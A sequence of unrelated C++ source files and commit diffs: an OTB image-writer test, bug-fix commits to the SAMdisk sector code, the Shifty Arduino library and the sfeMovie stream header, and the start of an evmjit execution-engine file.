"otbImageFileWriter.h" #include "otbMultiChannelExtractROI.h" int otbImageFileWriterWithExtendedOptionBox(int argc, char* argv[]) { // Verify the number of parameters in the command line const std::string inputFilename = argv[1]; const std::string outputFilename = argv[2]; const unsigned int startx = atoi(argv[3]); const unsigned int starty = atoi(argv[4]); const unsigned int sizex = atoi(argv[5]); const unsigned int sizey = atoi(argv[6]); const unsigned int ram = atoi(argv[7]); const std::string separator = ":"; typedef float InputPixelType; typedef float OutputPixelType; typedef otb::VectorImage<InputPixelType, 2> InputImageType; typedef InputImageType::PixelType PixelType; typedef otb::MultiChannelExtractROI<InputImageType::InternalPixelType, InputImageType::InternalPixelType> ExtractROIFilterType; typedef otb::ImageFileReader<InputImageType> ReaderType; typedef otb::ImageFileWriter<InputImageType> WriterType; typedef itk::ImageRegionIterator< InputImageType > IteratorType; typedef itk::ImageRegionConstIterator< InputImageType > ConstIteratorType; ReaderType::Pointer reader = ReaderType::New(); ExtractROIFilterType::Pointer extractROIFilter = ExtractROIFilterType::New(); WriterType::Pointer writer = WriterType::New(); reader->SetFileName(inputFilename); //Build output filename with extended box std::ostringstream outputFilenameExtended; outputFilenameExtended << outputFilename << "?&box=" << startx << separator << starty << separator << sizex << separator << sizey ; std::cout << "Output image with user defined path " << outputFilenameExtended.str() << std::endl; writer->SetFileName(outputFilenameExtended.str()); writer->SetInput(reader->GetOutput()); writer->SetAutomaticAdaptativeStreaming(ram); extractROIFilter->SetStartX(startx); extractROIFilter->SetStartY(starty); extractROIFilter->SetSizeX(sizex); extractROIFilter->SetSizeY(sizey); extractROIFilter->SetInput(reader->GetOutput()); writer->Update(); extractROIFilter->Update(); ReaderType::Pointer reader2 = ReaderType::New(); reader2->SetFileName(outputFilename); reader2->Update(); InputImageType::ConstPointer readImage = reader2->GetOutput(); InputImageType::ConstPointer extractImage = extractROIFilter->GetOutput(); ConstIteratorType ritr( readImage, readImage->GetLargestPossibleRegion() ); ConstIteratorType extractitr( extractImage, extractImage->GetLargestPossibleRegion() ); ritr.GoToBegin(); extractitr.GoToBegin(); std::cout << "Comparing the pixel values.. :" << std::endl; while( !ritr.IsAtEnd() && !extractitr.IsAtEnd() ) { if( ritr.Get() != extractitr.Get() ) { std::cerr << "Pixel comparison failed at index = " << ritr.GetIndex() << std::endl; std::cerr << "Expected pixel value " << extractitr.Get() << std::endl; std::cerr << "Read Image pixel value " << ritr.Get() << std::endl; return EXIT_FAILURE; } ++extractitr; ++ritr; } std::cout << std::endl; std::cout << "Test PASSED !" << std::endl; return EXIT_SUCCESS; } <|endoftext|>
<commit_before>#include "SAMdisk.h" #include "Sector.h" Sector::Sector (DataRate datarate_, Encoding encoding_, const Header &header_, int gap3_) : header(header_), datarate(datarate_), encoding(encoding_), gap3(gap3_) { } bool Sector::operator== (const Sector &sector) const { // Headers must match if (sector.header != header) return false; // If neither has data it's a match if (sector.m_data.size() == 0 && m_data.size() == 0) return true; // Both sectors must have some data if (sector.copies() == 0 || copies() == 0) return false; // Both first sectors must have at least the natural size to compare if (sector.data_size() < sector.size() || data_size() < size()) return false; // The natural data contents must match return std::equal(data_copy().begin(), data_copy().begin() + size(), sector.data_copy().begin()); } int Sector::size () const { return header.sector_size(); } int Sector::data_size () const { return copies() ? static_cast<int>(m_data[0].size()) : 0; } const DataList &Sector::datas () const { return m_data; } DataList &Sector::datas () { return m_data; } const Data &Sector::data_copy (int copy/*=0*/) const { copy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0); return m_data[copy]; } Data &Sector::data_copy (int copy/*=0*/) { assert(m_data.size() != 0); copy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0); return m_data[copy]; } int Sector::copies () const { return static_cast<int>(m_data.size()); } Sector::Merge Sector::add (Data &&data, bool bad_crc, uint8_t new_dam) { Merge ret = Merge::NewData; assert(!copies() || dam == new_dam); // If the sector has a bad header CRC, it can't have any data if (has_badidcrc()) return Merge::Unchanged; // If there's enough data, check the CRC state if (static_cast<int>(data.size()) >= (size() + 2)) { CRC16 crc; if (encoding == Encoding::MFM) crc.init(CRC16::A1A1A1); crc.add(new_dam); auto bad_data_crc = crc.add(data.data(), size() + 2) != 0; assert(bad_crc == bad_data_crc); (void)bad_data_crc; } // If the exising sector has good data, ignore supplied data if it's bad if (bad_crc && copies() && !has_baddatacrc()) return Merge::Unchanged; // If the existing sector is bad, new good data will replace it all if (!bad_crc && has_baddatacrc()) { remove_data(); ret = Merge::Improved; } // 8K sectors always have a CRC error, but may include a secondary checksum if (is_8k_sector()) { // Attempt to identify the 8K checksum method used by the new data auto chk8k_method = Get8KChecksumMethod(data.data(), data.size()); // If it's recognised, replace any existing data with it if (chk8k_method >= CHK8K_FOUND) { remove_data(); ret = Merge::Improved; } // Do we already have a copy? else if (copies() == 1) { // Can we identify the method used by the existing copy? chk8k_method = Get8KChecksumMethod(m_data[0].data(), m_data[0].size()); if (chk8k_method >= CHK8K_FOUND) { // Keep the existing, ignoring the new data return Merge::Unchanged; } } } // Look for existing data that is a superset of what we're adding auto it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) { return d.size() >= data.size() && std::equal(data.begin(), data.end(), d.begin()); }); // Return if we already have a better copy if (it != m_data.end()) return Merge::Unchanged; // Look for existing data that is a subset of what we're adding it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) { return d.size() <= data.size() && std::equal(d.begin(), d.end(), data.begin()); }); // Remove the inferior copy if (it != m_data.end()) { m_data.erase(it); ret = Merge::Improved; } // DD 8K sectors are considered complete at 6K, everything else at natural size auto complete_size = is_8k_sector() ? 0x1800 : data.size(); // Is the supplied data enough for a complete sector? if (data.size() >= complete_size) { // Look for existing data that contains the same normal sector data it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) { return d.size() >= complete_size && std::equal(d.begin(), d.begin() + complete_size, data.begin()); }); // Found a match? if (it != m_data.end()) { // Return if the new one isn't larger if (data.size() <= it->size()) return Merge::Unchanged; // Remove the existing smaller copy m_data.erase(it); } // Will we now have multiple copies? if (m_data.size() > 0) { // Keep multiple copies the same size, whichever is shortest auto new_size = std::min(data.size(), m_data[0].size()); data.resize(new_size); // Resize any existing copies to match for (auto &d : m_data) d.resize(new_size); } } // Insert the new data copy, unless it the copy count (default is 3) if (copies() < opt.maxcopies) m_data.emplace_back(std::move(data)); // Update the data CRC state and DAM m_bad_data_crc = bad_crc; dam = new_dam; return ret; } Sector::Merge Sector::merge (Sector &&sector) { Merge ret = Merge::Unchanged; // If the new header CRC is bad there's nothing we can use if (sector.has_badidcrc()) return Merge::Unchanged; // Something is wrong if the new details don't match the existing one assert(sector.header == header); assert(sector.datarate == datarate); assert(sector.encoding == encoding); // If the existing header is bad, repair it if (has_badidcrc()) { header = sector.header; set_badidcrc(false); ret = Merge::Improved; } // We can't repair good data with bad if (!has_baddatacrc() && sector.has_baddatacrc()) return ret; // Add the new data snapshots for (Data &data : sector.m_data) { // Move the data into place, passing on the existing data CRC status and DAM if (add(std::move(data), sector.has_baddatacrc(), sector.dam) != Merge::Unchanged) ret = Merge::Improved; // ToDo: detect NewData return? } sector.m_data.clear(); return ret; } bool Sector::has_data () const { return copies() != 0; } bool Sector::has_gapdata () const { return data_size() > size(); } bool Sector::has_shortdata () const { return data_size() < size(); } bool Sector::has_badidcrc () const { return m_bad_id_crc; } bool Sector::has_baddatacrc () const { return m_bad_data_crc; } bool Sector::is_deleted () const { return dam == 0xf8 || dam == 0xf9; } bool Sector::is_altdam () const { return dam == 0xfa; } bool Sector::is_rx02dam () const { return dam == 0xfd; } bool Sector::is_8k_sector () const { // +3 and CPC disks treat this as a virtual complete sector return datarate == DataRate::_250K && encoding == Encoding::MFM && header.size == 6; } void Sector::set_badidcrc (bool bad) { m_bad_id_crc = bad; if (bad) remove_data(); } void Sector::set_baddatacrc (bool bad) { m_bad_data_crc = bad; if (!bad && copies() > 1) m_data.resize(1); } void Sector::remove_data () { m_data.clear(); m_bad_data_crc = false; dam = 0xfb; } void Sector::remove_gapdata () { if (!has_gapdata()) return; for (auto &data : m_data) data.resize(size()); } // Map a size code to how it's treated by the uPD765 FDC on the PC int Sector::SizeCodeToRealSizeCode (int size) { // Sizes above 8 are treated as 8 (32K) return (size <= 7) ? size : 8; } // Return the sector length for a given sector size code int Sector::SizeCodeToLength (int size) { // 2 ^ (7 + size) return 128 << SizeCodeToRealSizeCode(size); } <commit_msg>Improved clearing sector data errors<commit_after>#include "SAMdisk.h" #include "Sector.h" Sector::Sector (DataRate datarate_, Encoding encoding_, const Header &header_, int gap3_) : header(header_), datarate(datarate_), encoding(encoding_), gap3(gap3_) { } bool Sector::operator== (const Sector &sector) const { // Headers must match if (sector.header != header) return false; // If neither has data it's a match if (sector.m_data.size() == 0 && m_data.size() == 0) return true; // Both sectors must have some data if (sector.copies() == 0 || copies() == 0) return false; // Both first sectors must have at least the natural size to compare if (sector.data_size() < sector.size() || data_size() < size()) return false; // The natural data contents must match return std::equal(data_copy().begin(), data_copy().begin() + size(), sector.data_copy().begin()); } int Sector::size () const { return header.sector_size(); } int Sector::data_size () const { return copies() ? static_cast<int>(m_data[0].size()) : 0; } const DataList &Sector::datas () const { return m_data; } DataList &Sector::datas () { return m_data; } const Data &Sector::data_copy (int copy/*=0*/) const { copy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0); return m_data[copy]; } Data &Sector::data_copy (int copy/*=0*/) { assert(m_data.size() != 0); copy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0); return m_data[copy]; } int Sector::copies () const { return static_cast<int>(m_data.size()); } Sector::Merge Sector::add (Data &&data, bool bad_crc, uint8_t new_dam) { Merge ret = Merge::NewData; assert(!copies() || dam == new_dam); // If the sector has a bad header CRC, it can't have any data if (has_badidcrc()) return Merge::Unchanged; // If there's enough data, check the CRC state if (static_cast<int>(data.size()) >= (size() + 2)) { CRC16 crc; if (encoding == Encoding::MFM) crc.init(CRC16::A1A1A1); crc.add(new_dam); auto bad_data_crc = crc.add(data.data(), size() + 2) != 0; assert(bad_crc == bad_data_crc); (void)bad_data_crc; } // If the exising sector has good data, ignore supplied data if it's bad if (bad_crc && copies() && !has_baddatacrc()) return Merge::Unchanged; // If the existing sector is bad, new good data will replace it all if (!bad_crc && has_baddatacrc()) { remove_data(); ret = Merge::Improved; } // 8K sectors always have a CRC error, but may include a secondary checksum if (is_8k_sector()) { // Attempt to identify the 8K checksum method used by the new data auto chk8k_method = Get8KChecksumMethod(data.data(), data.size()); // If it's recognised, replace any existing data with it if (chk8k_method >= CHK8K_FOUND) { remove_data(); ret = Merge::Improved; } // Do we already have a copy? else if (copies() == 1) { // Can we identify the method used by the existing copy? chk8k_method = Get8KChecksumMethod(m_data[0].data(), m_data[0].size()); if (chk8k_method >= CHK8K_FOUND) { // Keep the existing, ignoring the new data return Merge::Unchanged; } } } // Look for existing data that is a superset of what we're adding auto it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) { return d.size() >= data.size() && std::equal(data.begin(), data.end(), d.begin()); }); // Return if we already have a better copy if (it != m_data.end()) return Merge::Unchanged; // Look for existing data that is a subset of what we're adding it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) { return d.size() <= data.size() && std::equal(d.begin(), d.end(), data.begin()); }); // Remove the inferior copy if (it != m_data.end()) { m_data.erase(it); ret = Merge::Improved; } // DD 8K sectors are considered complete at 6K, everything else at natural size auto complete_size = is_8k_sector() ? 0x1800 : data.size(); // Is the supplied data enough for a complete sector? if (data.size() >= complete_size) { // Look for existing data that contains the same normal sector data it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) { return d.size() >= complete_size && std::equal(d.begin(), d.begin() + complete_size, data.begin()); }); // Found a match? if (it != m_data.end()) { // Return if the new one isn't larger if (data.size() <= it->size()) return Merge::Unchanged; // Remove the existing smaller copy m_data.erase(it); } // Will we now have multiple copies? if (m_data.size() > 0) { // Keep multiple copies the same size, whichever is shortest auto new_size = std::min(data.size(), m_data[0].size()); data.resize(new_size); // Resize any existing copies to match for (auto &d : m_data) d.resize(new_size); } } // Insert the new data copy, unless it the copy count (default is 3) if (copies() < opt.maxcopies) m_data.emplace_back(std::move(data)); // Update the data CRC state and DAM m_bad_data_crc = bad_crc; dam = new_dam; return ret; } Sector::Merge Sector::merge (Sector &&sector) { Merge ret = Merge::Unchanged; // If the new header CRC is bad there's nothing we can use if (sector.has_badidcrc()) return Merge::Unchanged; // Something is wrong if the new details don't match the existing one assert(sector.header == header); assert(sector.datarate == datarate); assert(sector.encoding == encoding); // If the existing header is bad, repair it if (has_badidcrc()) { header = sector.header; set_badidcrc(false); ret = Merge::Improved; } // We can't repair good data with bad if (!has_baddatacrc() && sector.has_baddatacrc()) return ret; // Add the new data snapshots for (Data &data : sector.m_data) { // Move the data into place, passing on the existing data CRC status and DAM if (add(std::move(data), sector.has_baddatacrc(), sector.dam) != Merge::Unchanged) ret = Merge::Improved; // ToDo: detect NewData return? } sector.m_data.clear(); return ret; } bool Sector::has_data () const { return copies() != 0; } bool Sector::has_gapdata () const { return data_size() > size(); } bool Sector::has_shortdata () const { return data_size() < size(); } bool Sector::has_badidcrc () const { return m_bad_id_crc; } bool Sector::has_baddatacrc () const { return m_bad_data_crc; } bool Sector::is_deleted () const { return dam == 0xf8 || dam == 0xf9; } bool Sector::is_altdam () const { return dam == 0xfa; } bool Sector::is_rx02dam () const { return dam == 0xfd; } bool Sector::is_8k_sector () const { // +3 and CPC disks treat this as a virtual complete sector return datarate == DataRate::_250K && encoding == Encoding::MFM && header.size == 6; } void Sector::set_badidcrc (bool bad) { m_bad_id_crc = bad; if (bad) remove_data(); } void Sector::set_baddatacrc (bool bad) { m_bad_data_crc = bad; if (!bad) { auto fill_byte = static_cast<uint8_t>((opt.fill >= 0) ? opt.fill : 0); if (!has_data()) m_data.push_back(Data(size(), fill_byte)); else if (copies() > 1) { m_data.resize(1); if (data_size() < size()) { auto pad{ Data(size() - data_size(), fill_byte) }; m_data[0].insert(m_data[0].begin(), pad.begin(), pad.end()); } } } } void Sector::remove_data () { m_data.clear(); m_bad_data_crc = false; dam = 0xfb; } void Sector::remove_gapdata () { if (!has_gapdata()) return; for (auto &data : m_data) data.resize(size()); } // Map a size code to how it's treated by the uPD765 FDC on the PC int Sector::SizeCodeToRealSizeCode (int size) { // Sizes above 8 are treated as 8 (32K) return (size <= 7) ? size : 8; } // Return the sector length for a given sector size code int Sector::SizeCodeToLength (int size) { // 2 ^ (7 + size) return 128 << SizeCodeToRealSizeCode(size); } <|endoftext|>
<commit_before>#include <Shifty.h> Shifty::Shifty() { } void Shifty::setBitCount(int bitCount) { this->bitCount = bitCount; this->byteCount = bitCount/8; for(int i = 0; i < this->byteCount; i++) { this->writeBuffer[i] = 0; this->dataModes[i] = 0; this->readBuffer[i] = 0; } } void Shifty::setPins(int dataPin, int clockPin, int latchPin, int readPin) { pinMode(dataPin, OUTPUT); pinMode(clockPin, OUTPUT); pinMode(latchPin, OUTPUT); pinMode(readPin, INPUT); this->dataPin = dataPin; this->clockPin = clockPin; this->latchPin = latchPin; if(readPin != -1) { this->readPin = readPin; } } void Shifty::setPins(int dataPin, int clockPin, int latchPin) { setPins(dataPin, clockPin, latchPin, -1); } void Shifty::batchWriteBegin() { batchWriteMode = true; } void Shifty::writeBit(int bitnum, bool value) { if(batchWriteMode) { writeBitSoft(bitnum, value); } else { writeBitHard(bitnum, value); } } void Shifty::batchWriteEnd() { writeAllBits(); batchWriteMode = false; } void Shifty::batchReadBegin() { batchReadMode = true; readAllBits(); } bool Shifty::readBit(int bitnum) { if(batchReadMode) { readBitSoft(bitnum); } else { readBitHard(bitnum); } } void Shifty::batchReadEnd() { batchReadMode = false; } void Shifty::bitMode(int bitnum, bool mode) { int bytenum = bitnum / 8; int offset = bitnum % 8; byte b = this->dataModes[bytenum]; bitSet(b, offset); this->dataModes[bytenum] = b; } void Shifty::writeBitSoft(int bitnum, bool value) { int bytenum = bitnum / 8; int offset = bitnum % 8; byte b = this->writeBuffer[bytenum]; bitWrite(b, offset, value); this->writeBuffer[bytenum] = b; } void Shifty::writeBitHard(int bitnum, bool value) { writeBitSoft(bitnum, value); writeAllBits(); } void Shifty::writeAllBits() { digitalWrite(latchPin, LOW); digitalWrite(clockPin, LOW); for(int i = 0; i < this->byteCount; i++) { shiftOut(dataPin, clockPin, MSBFIRST, this->writeBuffer[i]); } digitalWrite(latchPin, HIGH); } bool Shifty::readBitSoft(int bitnum) { int bytenum = bitnum / 8; int offset = bitnum % 8; return bitRead(this->readBuffer[bytenum], offset); } bool Shifty::readBitHard(int bitnum) { int bytenum = bitnum / 8; int offset = bitnum % 8; // To read the bit, set all output pins except the pin we are looking at to 0 for(int i = 0; i < this->byteCount; i++) { byte mask = this->dataModes[i]; byte outb = this->writeBuffer[i]; for(int j = 0; j < 8; j++) { if(bitRead(mask, j)) { if(i == bytenum && j == bitnum) { bitSet(outb, j); } else { bitClear(outb, j); } } } } // Flush writeAllBits(); // Get our data pin bool value = digitalRead(this->readPin); // Set the cached value byte cacheb = this->readBuffer[bytenum]; bitWrite(cacheb, offset, value); this->readBuffer[bytenum] = cacheb; } void Shifty::readAllBits() { for(int i = 0; i < this->byteCount; i++) { byte mask = this->dataModes[i]; byte outb = this->writeBuffer[i]; byte inb = 0; for(int j = 0; j < 8; j++) { if(bitRead(mask, j)) { readBitHard(i * 8 + j); } } } } <commit_msg>Fixed bugs in reading bits<commit_after>#include <Shifty.h> Shifty::Shifty() { } void Shifty::setBitCount(int bitCount) { this->bitCount = bitCount; this->byteCount = bitCount/8; for(int i = 0; i < this->byteCount; i++) { this->writeBuffer[i] = 0; this->dataModes[i] = 0; this->readBuffer[i] = 0; } } void Shifty::setPins(int dataPin, int clockPin, int latchPin, int readPin) { pinMode(dataPin, OUTPUT); pinMode(clockPin, OUTPUT); pinMode(latchPin, OUTPUT); pinMode(readPin, INPUT); this->dataPin = dataPin; this->clockPin = clockPin; this->latchPin = latchPin; if(readPin != -1) { this->readPin = readPin; } } void Shifty::setPins(int dataPin, int clockPin, int latchPin) { setPins(dataPin, clockPin, latchPin, -1); } void Shifty::batchWriteBegin() { batchWriteMode = true; } void Shifty::writeBit(int bitnum, bool value) { if(batchWriteMode) { writeBitSoft(bitnum, value); } else { writeBitHard(bitnum, value); } } void Shifty::batchWriteEnd() { writeAllBits(); batchWriteMode = false; } void Shifty::batchReadBegin() { batchReadMode = true; readAllBits(); } bool Shifty::readBit(int bitnum) { if(batchReadMode) { return readBitSoft(bitnum); } else { return readBitHard(bitnum); } } void Shifty::batchReadEnd() { batchReadMode = false; } void Shifty::bitMode(int bitnum, bool mode) { int bytenum = bitnum / 8; int offset = bitnum % 8; byte b = this->dataModes[bytenum]; bitSet(b, offset); this->dataModes[bytenum] = b; } void Shifty::writeBitSoft(int bitnum, bool value) { int bytenum = bitnum / 8; int offset = bitnum % 8; byte b = this->writeBuffer[bytenum]; bitWrite(b, offset, value); this->writeBuffer[bytenum] = b; } void Shifty::writeBitHard(int bitnum, bool value) { writeBitSoft(bitnum, value); writeAllBits(); } void Shifty::writeAllBits() { digitalWrite(latchPin, LOW); digitalWrite(clockPin, LOW); for(int i = 0; i < this->byteCount; i++) { shiftOut(dataPin, clockPin, MSBFIRST, this->writeBuffer[i]); } digitalWrite(latchPin, HIGH); } bool Shifty::readBitSoft(int bitnum) { int bytenum = bitnum / 8; int offset = bitnum % 8; return bitRead(this->readBuffer[bytenum], offset); } bool Shifty::readBitHard(int bitnum) { int bytenum = bitnum / 8; int offset = bitnum % 8; // To read the bit, set all output pins except the pin we are looking at to 0 for(int i = 0; i < this->byteCount; i++) { byte mask = this->dataModes[i]; byte outb = this->writeBuffer[i]; for(int j = 0; j < 8; j++) { if(bitRead(mask, j)) { if(i == bytenum && j == bitnum) { bitSet(outb, j); } else { bitClear(outb, j); } } } } // Flush writeAllBits(); // Get our data pin bool value = digitalRead(this->readPin); // Set the cached value byte cacheb = this->readBuffer[bytenum]; bitWrite(cacheb, offset, value); this->readBuffer[bytenum] = cacheb; return value; } void Shifty::readAllBits() { for(int i = 0; i < this->byteCount; i++) { byte mask = this->dataModes[i]; byte outb = this->writeBuffer[i]; byte inb = 0; for(int j = 0; j < 8; j++) { if(bitRead(mask, j)) { readBitHard(i * 8 + j); } } } } <|endoftext|>
<commit_before> /* * Stream.hpp * sfeMovie project * * Copyright (C) 2010-2014 Lucas Soltic * [email protected] * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ #ifndef SFEMOVIE_STREAM_HPP #define SFEMOVIE_STREAM_HPP #include "Macros.hpp" #include "Timer.hpp" #include <list> #include <memory> #include <SFML/System.hpp> #include <sfeMovie/Movie.hpp> extern "C" { #include <libavformat/avformat.h> } namespace sfe { class Stream : public Timer::Observer { public: struct DataSource { virtual void requestMoreData(Stream& starvingStream) = 0; virtual void resetEndOfFileStatus() = 0; }; /** @return a textual description of the given FFmpeg stream */ static std::string AVStreamDescription(AVStream* stream); /** Create a stream from the given FFmpeg stream * * At the end of the constructor, the stream is guaranteed * to have all of its fields set and the decoder loaded * * @param stream the FFmpeg stream * @param dataSource the encoded data provider for this stream */ Stream(AVFormatContext*& formatCtx, AVStream*& stream, DataSource& dataSource, std::shared_ptr<Timer> timer); /** Default destructor */ virtual ~Stream(); /** Connect this stream against the reference timer to receive playback events; this allows this * stream to be played */ void connect(); /** Disconnect this stream from the reference timer ; this disables this stream */ void disconnect(); /** Called by the demuxer to provide the stream with encoded data * * @return packet the encoded data usable by this stream */ virtual void pushEncodedData(AVPacket* packet); /** Reinsert an AVPacket at the beginning of the queue * * This is used for packets that contain several frames, but whose next frames * cannot be decoded yet. These packets are repushed to be decoded when possible. * * @param packet the packet to re-insert at the beginning of the queue */ virtual void prependEncodedData(AVPacket* packet); /** Return the oldest encoded data that was pushed to this stream * * If no packet is stored when this method is called, it will ask the * data source to feed this stream first * * @return the oldest encoded data, or nullptr if no data could be read from the media */ virtual AVPacket* popEncodedData(); /** Empty the encoded data queue, destroy all the packets and flush the decoding pipeline */ virtual void flushBuffers(); /** Used by the demuxer to know if this stream should be fed with more data * * The default implementation returns true if the packet list contains less than 10 packets * * @return true if the demuxer should give more data to this stream, false otherwise */ virtual bool needsMoreData() const; /** Get the stream kind (either audio, video or subtitle stream) * * @return the kind of stream represented by this stream */ virtual MediaType getStreamKind() const; /** Give the stream's status * * @return The stream's status (Playing, Paused or Stopped) */ Status getStatus() const; /** Return the stream's language code * * @return the language code of the stream as ISO 639-2 format */ std::string getLanguage() const; /** Compute the stream position in the media, by possibly fetching a packet */ sf::Time computePosition(); /** @return a textual description of the current stream */ std::string description() const; /** Update the current stream's status and eventually decode frames */ virtual void update() = 0; /** @return true if the given packet is for the current stream */ bool canUsePacket(AVPacket* packet) const; /** @return true if this stream never requests packets and let * itself be fed, false otherwise. Default implementation always * returns false */ virtual bool isPassive() const; protected: // Timer::Observer interface void didPlay(const Timer& timer, Status previousStatus) override; void didPause(const Timer& timer, Status previousStatus) override; void didStop(const Timer& timer, Status previousStatus) override; /** @return true if any raw packet for the current stream is queued */ bool hasPackets(); void setStatus(Status status); AVFormatContext* & m_formatCtx; AVStream*& m_stream; DataSource& m_dataSource; std::shared_ptr<Timer> m_timer; AVCodec* m_codec; int m_streamID; std::string m_language; std::list <AVPacket*> m_packetList; Status m_status; sf::Mutex m_readerMutex; }; } #endif <commit_msg>#6 Added API for fast-forwarding streams (must be implemented ; will break build for now)<commit_after> /* * Stream.hpp * sfeMovie project * * Copyright (C) 2010-2014 Lucas Soltic * [email protected] * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ #ifndef SFEMOVIE_STREAM_HPP #define SFEMOVIE_STREAM_HPP #include "Macros.hpp" #include "Timer.hpp" #include <list> #include <memory> #include <SFML/System.hpp> #include <sfeMovie/Movie.hpp> extern "C" { #include <libavformat/avformat.h> } namespace sfe { class Stream : public Timer::Observer { public: struct DataSource { virtual void requestMoreData(Stream& starvingStream) = 0; virtual void resetEndOfFileStatus() = 0; }; /** @return a textual description of the given FFmpeg stream */ static std::string AVStreamDescription(AVStream* stream); /** Create a stream from the given FFmpeg stream * * At the end of the constructor, the stream is guaranteed * to have all of its fields set and the decoder loaded * * @param stream the FFmpeg stream * @param dataSource the encoded data provider for this stream */ Stream(AVFormatContext*& formatCtx, AVStream*& stream, DataSource& dataSource, std::shared_ptr<Timer> timer); /** Default destructor */ virtual ~Stream(); /** Connect this stream against the reference timer to receive playback events; this allows this * stream to be played */ void connect(); /** Disconnect this stream from the reference timer ; this disables this stream */ void disconnect(); /** Called by the demuxer to provide the stream with encoded data * * @return packet the encoded data usable by this stream */ virtual void pushEncodedData(AVPacket* packet); /** Reinsert an AVPacket at the beginning of the queue * * This is used for packets that contain several frames, but whose next frames * cannot be decoded yet. These packets are repushed to be decoded when possible. * * @param packet the packet to re-insert at the beginning of the queue */ virtual void prependEncodedData(AVPacket* packet); /** Return the oldest encoded data that was pushed to this stream * * If no packet is stored when this method is called, it will ask the * data source to feed this stream first * * @return the oldest encoded data, or nullptr if no data could be read from the media */ virtual AVPacket* popEncodedData(); /** Empty the encoded data queue, destroy all the packets and flush the decoding pipeline */ virtual void flushBuffers(); /** Used by the demuxer to know if this stream should be fed with more data * * The default implementation returns true if the packet list contains less than 10 packets * * @return true if the demuxer should give more data to this stream, false otherwise */ virtual bool needsMoreData() const; /** Get the stream kind (either audio, video or subtitle stream) * * @return the kind of stream represented by this stream */ virtual MediaType getStreamKind() const; /** Give the stream's status * * @return The stream's status (Playing, Paused or Stopped) */ Status getStatus() const; /** Return the stream's language code * * @return the language code of the stream as ISO 639-2 format */ std::string getLanguage() const; /** Compute the stream position in the media, by possibly fetching a packet */ sf::Time computePosition(); /** Discard the data not needed to start playback at the given position * * Every single bit of unneeded data must be discarded as streams synchronization accuracy will * depend on this * * @param targetPosition the position for which the stream is expected to be ready to play */ virtual void fastForward(sf::Time targetPosition) = 0; /** @return a textual description of the current stream */ std::string description() const; /** Update the current stream's status and eventually decode frames */ virtual void update() = 0; /** @return true if the given packet is for the current stream */ bool canUsePacket(AVPacket* packet) const; /** @return true if this stream never requests packets and let * itself be fed, false otherwise. Default implementation always * returns false */ virtual bool isPassive() const; protected: // Timer::Observer interface void didPlay(const Timer& timer, Status previousStatus) override; void didPause(const Timer& timer, Status previousStatus) override; void didStop(const Timer& timer, Status previousStatus) override; /** @return true if any raw packet for the current stream is queued */ bool hasPackets(); void setStatus(Status status); AVFormatContext* & m_formatCtx; AVStream*& m_stream; DataSource& m_dataSource; std::shared_ptr<Timer> m_timer; AVCodec* m_codec; int m_streamID; std::string m_language; std::list <AVPacket*> m_packetList; Status m_status; sf::Mutex m_readerMutex; }; } #endif <|endoftext|>
<commit_before>#include "ExecutionEngine.h" #include <chrono> #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wunused-parameter" #include <llvm/IR/LLVMContext.h> #include <llvm/IR/Module.h> #include <llvm/ADT/Triple.h> #include <llvm/ExecutionEngine/ExecutionEngine.h> #include <llvm/ExecutionEngine/SectionMemoryManager.h> #include <llvm/ExecutionEngine/GenericValue.h> #include <llvm/ExecutionEngine/MCJIT.h> #include <llvm/Support/TargetSelect.h> #include <llvm/Support/Signals.h> #include <llvm/Support/PrettyStackTrace.h> #include <llvm/Support/Host.h> #pragma GCC diagnostic pop #include "Runtime.h" #include "Memory.h" #include "Stack.h" #include "Type.h" #include "Compiler.h" #include "Cache.h" namespace dev { namespace eth { namespace jit { ReturnCode ExecutionEngine::run(bytes const& _code, RuntimeData* _data, Env* _env) { std::string key{reinterpret_cast<char const*>(_code.data()), _code.size()}; if (auto cachedExec = Cache::findExec(key)) { return run(*cachedExec, _data, _env); } auto module = Compiler({}).compile(_code); return run(std::move(module), _data, _env, _code); } ReturnCode ExecutionEngine::run(std::unique_ptr<llvm::Module> _module, RuntimeData* _data, Env* _env, bytes const& _code) { auto module = _module.get(); // Keep ownership of the module in _module llvm::sys::PrintStackTraceOnErrorSignal(); static const auto program = "EVM JIT"; llvm::PrettyStackTraceProgram X(1, &program); auto&& context = llvm::getGlobalContext(); llvm::InitializeNativeTarget(); llvm::InitializeNativeTargetAsmPrinter(); llvm::InitializeNativeTargetAsmParser(); std::string errorMsg; llvm::EngineBuilder builder(module); //builder.setMArch(MArch); //builder.setMCPU(MCPU); //builder.setMAttrs(MAttrs); //builder.setRelocationModel(RelocModel); //builder.setCodeModel(CMModel); builder.setErrorStr(&errorMsg); builder.setEngineKind(llvm::EngineKind::JIT); builder.setUseMCJIT(true); builder.setMCJITMemoryManager(new llvm::SectionMemoryManager()); builder.setOptLevel(llvm::CodeGenOpt::None); auto triple = llvm::Triple(llvm::sys::getProcessTriple()); if (triple.getOS() == llvm::Triple::OSType::Win32) 